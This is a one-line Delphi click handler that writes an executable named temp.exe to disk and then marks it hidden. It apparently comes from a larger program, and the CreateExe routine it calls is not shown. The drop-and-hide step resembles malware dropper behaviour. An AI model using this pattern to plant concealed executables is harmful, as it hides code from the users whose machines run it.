procedure TForm1.Image3Click(Sender: TObject); begin CreateExe('temp.exe', 98322); SetFileAttributes(PChar('temp.exe'), faHidden); end;